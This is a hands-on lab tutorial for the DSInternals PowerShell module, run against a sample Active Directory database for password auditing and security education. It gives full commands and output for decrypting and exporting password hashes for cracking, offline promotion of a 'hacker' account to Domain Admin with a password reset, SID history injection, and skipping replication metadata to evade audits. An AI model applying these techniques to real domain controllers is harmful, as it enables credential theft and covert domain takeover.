#CQLabs – DSInternals PowerShell Module by Michael Grafnetter






CQLabs – Offline Attacks on Active Directory



CQLabs – Offline Attacks on Active Directory

Introduction

This lab will guide you through some of the most interesting features of the DSInternals PowerShell Module, which was featured at Black Hat Europe 2019 and is also included in FireEye’s Commando VM. This open-source toolset exposes many internal and undocumented security-related features of Active Directory (AD), but we will primarily focus on its state-of-the-art offline database access capabilities. In the course of this lab, you will learn how to perform Active Directory password audits, offline password resets and group membership changes, or SID history injection.

Active Directory Database

The Active Directory database contains information about objects such as user accounts, computers, groups, contacts, organizational units, printers, and security policies. Servers hosting this database are called Domain Controllers (DCs) and expose the information through a plethora of network protocols, including the Lightweight Directory Access Protocol (LDAP).

Database files, transaction logs and checkpoint files are typically stored in the C:\Windows\NTDS directory on all DCs. The main database file is called ntds.dit. The following diagram shows the data store physical structure:

Sensitive information in the ntds.dit file is encrypted using the Boot Key (sometimes called System Key or SysKey), which is unique to each DC and is located deep in the HKEY_LOCAL_MACHINE\SYSTEM registry hive. This hive is physically stored in the C:\Windows\system32\config\SYSTEM file.

Setting Things Up

To be able to perform all exercises in this lab, you need to prepare the following:

1. Windows 10 Computer

First of all, you will need a Windows 10 computer with internet connectivity and local administrative rights. A virtual machine can be used instead of a physical computer.

Note that the DSInternals PowerShell module relies heavily on Win32 API calls that are not available in PowerShell Core for Linux and Mac. As a result, Windows is the only supported platform.

2. Sample Database

Download our sample AD database and extract it to a local directory.

The archive contains an Install From Media (IFM) backup that was created on a test DC by running the following command:

ntdsutil.exe "Activate Instance NTDS" IFM "Create Full C:\ADBackup" Quit Quit

3. DSInternals PowerShell Module

Download and install the DSInternals PowerShell module by running the following sequence of commands in an elevated PowerShell console:

Install-PackageProvider -Name NuGet -Scope AllUsers -Force -ForceBootstrap Install-Module -Name DSInternals -Scope AllUsers -Repository PSGallery -Force

See the documentation for alternate ways of installing the module.

4. PowerShell Execution Policy

Ensure that PowerShell scripts can be executed on your computer by running the following command in an elevated PowerShell console:

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope LocalMachine -Force

Alternatively, you can enable script execution for the current PowerShell session (window) only:

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force

5. Password Hashes from HaveIBeenPwned (Optional)

Download and unzip the list of leaked passwords in the form of NTLM hashes (ordered by hash) from the Have I Been Pwned (HIBP) website.

Exercise 1: Inspecting the Database

Let’s start by inspecting the sample database by running the following PowerShell command:

Get-ADDBDomainController -DatabasePath '.\ADBackup\Active Directory\ntds.dit'

Do not forget to modify the path to the ntds.dit file, if necessary. You should get an output like this:

Name : HELLO-DC DNSHostName : Hello-DC.contoso.com ServerReference : CN=HELLO-DC,OU=Domain Controllers,DC=contoso,DC=com DomainName : contoso.com ForestName : contoso.com NetBIOSDomainName : contoso DomainSid : S-1-5-21-1236425271-2880748467-2592687428 DomainGuid : 262d915a-3c58-4614-86c0-f9fb3f1aa1cd Guid : 63e4830e-19ab-423b-8e64-799341f821f3 Sid : S-1-5-21-1236425271-2880748467-2592687428-1001 DomainMode : WinThreshold ForestMode : WinThreshold SiteName : Default-First-Site-Name DsaGuid : 27d34172-86e0-4da1-83f5-4a9ce2aa318f InvocationId : 27d34172-86e0-4da1-83f5-4a9ce2aa318f IsADAM : False IsGlobalCatalog : True Options : GlobalCatalog OSName : Windows Server 2019 Datacenter OSVersion : 10.0 OSVersionMajor : 10 OSVersionMinor : 0 DomainNamingContext : DC=contoso,DC=com ConfigurationNamingContext : CN=Configuration,DC=contoso,DC=com SchemaNamingContext : CN=Schema,CN=Configuration,DC=contoso,DC=com WritablePartitions : {DC=contoso,DC=com, CN=Configuration,DC=contoso,DC=com, CN=Schema,CN=Configuration,DC=contoso,DC=com, DC=DomainDnsZones,DC=contoso,DC=com...} State : BackedUp HighestCommittedUsn : 348170 UsnAtIfm : BackupUsn : 344876 BackupExpiration : 5/26/2020 8:46:10 PM Epoch : 962

Notice that the database file comes from a DC running Windows Server 2019.

Note that if the database had transaction logs that were located in a different directory than the database itself, you would need to specify their location using the -LogPath parameter.

In case you see a red error message instead of the output above, read the next chapter. You can otherwise skip to Exercise 2.

If Things Do Not Work

Before opening a database that originates from a different Windows version or build, you sometimes need to defragment it first by running the following sequence of commands:

cd "ADBackup\Active Directory" esentutl.exe /d ntds.dit

Our sample database is in a clean state. It would otherwise have to be repaired by replaying the corresponding transaction logs. This can be achieved by running the following sequence of commands:

cd "ADBackup\Active Directory" esentutl.exe /r edb /d

Additionally, the built-in esentutl tool might fail to open a database that originates from Windows Server 2016 or newer and throw the following error message instead:

Operation terminated with error -2102 (JET_errCallbackNotResolved, A callback function could not be found) after 9.78 seconds.

This issue can be resolved by installing the Active Directory Lightweight Directory Services Windows component by executing the following command in an elevated PowerShell console:

Enable-WindowsOptionalFeature -FeatureName 'DirectoryServices-ADAM-Client' -Online

Note that this component is not available on Windows 10 Home edition.

Exercise 2: Decrypting Password Hashes

In order to decrypt the database, we first need to retrieve the encryption key from the registry hive by running the following command in an elevated PowerShell console:

Get-BootKey -SystemHiveFilePath '.\ADBackup\registry\SYSTEM'

Upon success, the cmdlet should return the following 16 byte key:

0be7a2afe1713642182e9b96f73a75da

We can now extract information about a specific account called john:

Get-ADDBAccount -SamAccountName john ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da

The ouput should look like this:

DistinguishedName: CN=John Doe,CN=Users,DC=contoso,DC=com Sid: S-1-5-21-1236425271-2880748467-2592687428-1109 Guid: ba684128-0a52-4678-9fb0-a64a5e2d8daa SamAccountName: john SamAccountType: User UserPrincipalName: john@contoso.com PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl: NormalAccount, PasswordNeverExpires AdminCount: False Deleted: False LastLogon: 11/28/2019 1:01:08 PM DisplayName: John Doe GivenName: John Surname: Doe Description: ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, SelfRelative Owner: S-1-5-21-1236425271-2880748467-2592687428-512 Secrets NTHash: 92937945b518814341de3f726500d4ff LMHash: NTHashHistory: Hash 01: 92937945b518814341de3f726500d4ff LMHashHistory: Hash 01: 49698ab21a946e12d16867fc22397e2f SupplementalCredentials: ClearText: NTLMStrongHash: 4005dcb679e6074e6d5c4ade4424e3c4 Kerberos: Credentials: DES_CBC_MD5 Key: 13b940268f381058 OldCredentials: Salt: CONTOSO.COMjohn Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 Key: 3c10ebb8bbdcc5984f76b383a4be5a017683104a6e7b455830ac8780bfbd943d Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: 84ae4ebcb1926532cd75282af3843f4d Iterations: 4096 DES_CBC_MD5 Key: 13b940268f381058 Iterations: 4096 OldCredentials: OlderCredentials: ServiceCredentials: Salt: CONTOSO.COMjohn DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: f00ba765d5dc7f96f51eee09c9d15073 Hash 02: 64ed5aca3511ce792689ef22f60171b7 Hash 03: 6feb5c978a017abe5ab0477033a10716 Hash 04: f00ba765d5dc7f96f51eee09c9d15073 Hash 05: 64ed5aca3511ce792689ef22f60171b7 Hash 06: 70c4a6af2c87914956213c9f8d5501d8 Hash 07: f00ba765d5dc7f96f51eee09c9d15073 Hash 08: 03e2dea3f49cfdbfe824bfe0bba1d13a Hash 09: 03e2dea3f49cfdbfe824bfe0bba1d13a Hash 10: b3b750f5af85730b80168deb760252ff Hash 11: c658e1b4cea74668e3697ccf904f24d5 Hash 12: 03e2dea3f49cfdbfe824bfe0bba1d13a Hash 13: 04c15f1ab2a437ebfb3e85cb68adbd74 Hash 14: c658e1b4cea74668e3697ccf904f24d5 Hash 15: c573d863c07cb54fdaba93f4b8beaa7d Hash 16: c573d863c07cb54fdaba93f4b8beaa7d Hash 17: 78de656ae40f47f131abd456b0d255e9 Hash 18: eea99075b7aae3b2dd592803e0c873d2 Hash 19: 4b26792fee01f2847eac649a769a36f3 Hash 20: 551f4c2ad9b8c7fc877f323aa8634993 Hash 21: 2771cc7986a1d7f277d6bef582c743ed Hash 22: 2771cc7986a1d7f277d6bef582c743ed Hash 23: 81b393f32d35ee2ed2ad746708aba8d8 Hash 24: 29ef33ff503c50b479b3de7f620691e1 Hash 25: 29ef33ff503c50b479b3de7f620691e1 Hash 26: 6c0eb0698de0240d838d4c88945e93f9 Hash 27: e8a25f5627f9546e6db2ca7ee0672ef7 Hash 28: ec94c644269f4e976db94332c9e63104 Hash 29: cecfc528e19d607d1c8b0df151c9ac75 Key Credentials: Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=8/26/2019 7:04:12 PM Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=6/21/2019 4:04:56 PM Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=7/11/2019 1:45:07 PM Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=8/29/2019 1:20:36 PM Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=8/29/2019 1:25:45 PM Usage=NGC, Source=AzureAD, Device=fd591087-245c-4ff5-a5ea-c14de5e2b32d, Created=7/19/2017 7:41:02 AM Credential Roaming Created: 11/28/2019 7:29:47 PM Modified: 11/28/2019 7:29:47 PM Credentials: DPAPIMasterKey: bfefb3a6-5cdc-44f9-8521-a31feb3acdb1 DPAPIMasterKey: c14e7f69-3bf5-4c49-92d8-78d759d74ece CNGCertificate: AF839B040D1257997A8D83EE71F96918F4C3EA01 CNGPrivateKey: 9F95F8E4F381BFFFD22B5EFAA013E53268451310 CNGPrivateKey: C9ABDF8DC38EA2BA2E20AEC770D91210FF919F87 CryptoApiCertificate: DEFFADB62EE547CB88973DF664C4DC958E8E64D8 CNGCertificate: 49FD324E5CC4A6020AC9D12D4311C7B33393A1C4 CryptoApiCertificate: 4E951C29567A261B2E90C94BCCEFAE1FA878A2CB RSAPrivateKey: 0581f4e6088649266038726d9f8786a9_edc46440-65c9-41ce-aaeb-73754e0e38c8 RSAPrivateKey: 4771dfabcc8ad1ec2c84c489df041fad_edc46440-65c9-41ce-aaeb-73754e0e38c8

Notice that AD contains multiple types of password hashes in order to support different authentication protocols, including Kerberos, NTLM, and WDigest.

We might also be interested in the built-in Administrator account. As some companies rename this account, it is safer to locate it by its well-known security identifier (SID), which always ends with 500 (AKA relative identifier or RID):

$dc = Get-ADDBDomainController -DatabasePath '.\ADBackup\Active Directory\ntds.dit' $adminSid = '{0}-500' -f $dc.DomainSid Get-ADDBAccount -Sid $adminSid ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da

The output is very similar to the previous example:

DistinguishedName: CN=Administrator,CN=Users,DC=contoso,DC=com Sid: S-1-5-21-1236425271-2880748467-2592687428-500 Guid: b3d02974-6b1c-484c-9103-fd2f60d592c4 SamAccountName: Administrator SamAccountType: User UserPrincipalName: PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl: NormalAccount, PasswordNeverExpires AdminCount: True Deleted: False LastLogon: 11/18/2019 11:50:39 AM DisplayName: GivenName: Surname: Description: Built-in account for administering the computer/domain ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-1236425271-2880748467-2592687428-512 Secrets NTHash: 92937945b518814341de3f726500d4ff LMHash: NTHashHistory: LMHashHistory: SupplementalCredentials: ClearText: NTLMStrongHash: fa3c6331960890a22ad12fadf47128ef Kerberos: Credentials: DES_CBC_MD5 Key: 89374a01bf7f2aa7 OldCredentials: Salt: HELLO-DCAdministrator Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 Key: 71a79d72fec8d2adc5940c7b4ae77ed9e306213db99236090cb1835a2f4e6de7 Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: 6ffec6b70dc863db1906a5507c0576ee Iterations: 4096 DES_CBC_MD5 Key: 89374a01bf7f2aa7 Iterations: 4096 OldCredentials: OlderCredentials: ServiceCredentials: Salt: HELLO-DCAdministrator DefaultIterationCount: 4096 Flags: 0 WDigest: Key Credentials: Credential Roaming Created: Modified: Credentials:

Exercise 3: Exporting Password Hashes

There are many password cracking tools that can be used to perform dictionary or brute-force attacks against NT hashes (that is MD4 hashes) of passwords that are contained in the AD database and thus identify user accounts with weak passwords. One of the more popular ones is Hashcat and DSInternals can be used to export data in a format that is understood by this tool:

Get-ADDBAccount -All ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da | Format-Custom -View HashcatNT | Out-File -FilePath .\users.txt -Encoding ASCII

The contents of the users.txt file should look like this (truncated):

Guest: Install:92937945b518814341de3f726500d4ff krbtgt:652e1a17a59abfa580cbef6bf537d1df AdfsService:3ac433014b4d5b1b4bc8a5350153ea93 john:92937945b518814341de3f726500d4ff joe:92937945b518814341de3f726500d4ff Frooll1994:085e145aaf5ff13d4e582ef3ed17a667 Plefor:e698fde7dba9ca9fc5914289eb726abe

See the documentation for a full list of supported export formats.

Exercise 4: Auditing Password Quality

For security reasons, some companies are reluctant to use password cracking tools. That is why DSInternals has a built-in password auditing capability:

# Create a sample text file containing banned/weak passwords 'Pa55w.rd','December2019','November2019' > '.\banned-passwords.txt' # Read all accounts from the AD database and test them against the provided lists of weak passwords Get-ADDBAccount -All ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da | Test-PasswordQuality -WeakPasswords 'Pa$$w0rd','Password123' ` -WeakPasswordsFile '.\banned-passwords.txt' ` -WeakPasswordHashesSortedFile '.\pwned-passwords-ntlm-ordered-by-hash-v4.txt'

The output should look like this:

Active Directory Password Quality Report ---------------------------------------- Passwords of these accounts are stored using reversible encryption: Sory1992 LM hashes of passwords of these accounts are present: These accounts have no password set: Guest Passwords of these accounts have been found in the dictionary: Abouty AdfsService Administrator Forsel Install joe john Messin Nibeshe Sloned Thopliterce1964 Throson Tilen2000 These groups of accounts have the same passwords: Group 1: Abouty Administrator Forsel Install joe john Group 2: Messin Sloned Group 3: Throson Tilen2000 These computer accounts have default passwords: PC01$ PC03$ Kerberos AES keys are missing from these accounts: Thopliterce1964 Kerberos pre-authentication is not required for these accounts: Countim Madisenly Theamorty Only DES encryption is allowed to be used with these accounts: Spitied Stely1971 Theamorty These administrative accounts are allowed to be delegated to a service: AdfsService Administrator Install Passwords of these accounts will never expire: Abouty AdfsService Administrator Affeard Guest Install joe john These accounts are not required to have a password: Guest PC01$ PC02$ PC03$

In the example above, we are providing lists of weak passwords (dictionaries) to the Test-PasswordQuality cmdlet in multiple ways: Directly in the command line parameters, in a text file containing one password per line and in a text file containing password hashes. Note that the -WeakPasswordHashesSortedFile parameter should point to the list of leaked password hashes from HIBP. You can omit this parameter if you have not downloaded this list.

Exercise 5: Filtering Accounts

If it is desired to only check a subset of user accounts, we can use PowerShell’s built-in filtering capabilities. The following script will check passwords of accounts that are located in the Employees organizational unit (OU):

$organizationalUnit = 'OU=Employees,DC=contoso,DC=com' Get-ADDBAccount -All ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da | Where-Object { $PSItem.DistinguishedName.EndsWith($organizationalUnit) } | Test-PasswordQuality -WeakPasswords 'Pa$$w0rd','Password123'

Exercise 6: Performing Offline Modifications

Now let’s look at an account called hacker:

Get-ADDBAccount -SamAccountName hacker ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da

Notice the following two lines in the output:

PrimaryGroupId: 513 Enabled: False

This means that hacker is a member of Domain Users and is disabled. We can change it by directly modifying the database:

Enable-ADDBAccount -SamAccountName hacker ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' Set-ADDBPrimaryGroup -SamAccountName hacker ` -PrimaryGroupId 512 ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit'

The account should now be enabled and a member of Domain Admins. As we do not know its password, we can perform an offline password reset:

$password = Read-Host -AsSecureString -Prompt 'Provide new password for user hacker' Set-ADDBAccountPassword -SamAccountName hacker ` -NewPassword $password ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -BootKey 0be7a2afe1713642182e9b96f73a75da

If we now copied the database back to the original DC, we would be able to authenticate as user hacker.

Exercise 7: Injecting SID History

The sIDHistory attribute is commonly used during AD migrations and may contain historical SIDs of users and groups. For security reasons, it cannot be modified through the LDAP protocol and even the Active Directory Migration Tool (ADMT) cannot be used to write any arbitrary values into it. But we can again use DSInternals to inject any SID into sIDHistory by directly modifying the database:

Add-ADDBSidHistory -SamAccountName hacker ` -SidHistory S-1-5-21-1236425271-2880748467-2592687428-500, S-1-5-21-1236425271-2880748467-2592687428-512 ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit'

Note that S-1-5-21-1236425271-2880748467-2592687428 is the SID of the domain and 500 and 512 are well-known rids of the Administrator account and the Domain Admins group, respectively.

Exercise 8: Replication Metadata

All the commands from the previous exercises properly modified replication metadata. If we were on a live domain controller, the modified attribute values would thus get replicated to other DCs. This could also be checked using the repadmin tool:

repadmin.exe /showobjmeta HELLO-DC "CN=hacker,CN=Users,DC=contoso,DC=com"

The output might look like this:

25 entries. Loc.USN Originating DSA Org.USN Org.Time/Date Ver Attribute ======= =============== ========= ============= === ========= 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 objectClass 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 cn 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 instanceType 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 whenCreated 368686 Default-First-Site-Name\HELLO-DC 368686 2019-12-05 14:31:06 2 nTSecurityDescriptor 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 name 389412 Default-First-Site-Name\HELLO-DC 389412 2019-12-11 21:27:02 3 userAccountControl 344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 codePage 344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 countryCode 389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 dBCSPwd 344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 logonHours 389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 unicodePwd 389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 ntPwdHistory 389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 pwdLastSet 389421 Default-First-Site-Name\HELLO-DC 389421 2019-12-11 21:27:22 3 primaryGroupID 389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 supplementalCredentials 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 objectSid 368686 Default-First-Site-Name\HELLO-DC 368686 2019-12-05 14:31:06 1 adminCount 344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 accountExpires 389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 lmPwdHistory 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 sAMAccountName 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 sAMAccountType 344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 objectCategory 368669 Default-First-Site-Name\HELLO-DC 368669 2019-12-05 14:17:10 1 lastLogonTimestamp 0 entries. Type Attribute Last Mod Time Originating DSA Loc.USN Org.USN Ver ======= ============ ============= ================= ======= ======= === Distinguished Name =============================

Notice how the version, time and USN of attributes userAccountControl, dBCSPwd, unicodePwd, ntPwdHistory, pwdLastSet, primaryGroupID, supplementalCredentials, and lmPwdHistory, that we intentionally modified, differs from the others.

In some cases, this default and correct behavior might be undesirable. Hence the optional -SkipMetaUpdate parameter of all cmdlets that modify AD database:

Set-ADDBPrimaryGroup -SamAccountName hacker ` -PrimaryGroupId 512 ` -DatabasePath '.\ADBackup\Active Directory\ntds.dit' ` -SkipMetaUpdate

Changes performed using the command above would only stay locally instead of replicating to other DCs. This could be used by adversaries to hide from security audits.

Conclusion

You now know how to use the DSInternals PowerShell module to identify many violations of Active Directory security best practices, including bad credential hygiene. We have also discussed several attack vectors that would open to malicious attackers and insiders by gaining read/write access to either a physical or virtual hard drive of a DC containing its ntds.dit database file. Limiting access to domain controller hard drives is, therefore, an important aspect of keeping Active Directory secure. However, this task has become more complex in today’s era of virtualization and cloud computing.

To Be Continued…

The DSInternals PowerShell module can do so much more. We will explore more of its capabilities in a future lab.

Author

Michael Grafnetter is an expert on Active Directory security who works as a consultant, trainer, and researcher. He is best known as the author of the open-source Directory Services Internals (DSInternals) PowerShell module and Thycotic Weak Password Finder, tools used by security auditors and penetration testers worldwide. He holds a master’s degree in Software Engineering and is a former Microsoft MVP. Michael was a speaker at many conferences, including Black Hat Europe, HipConf New York, and BSides Lisbon.


Comments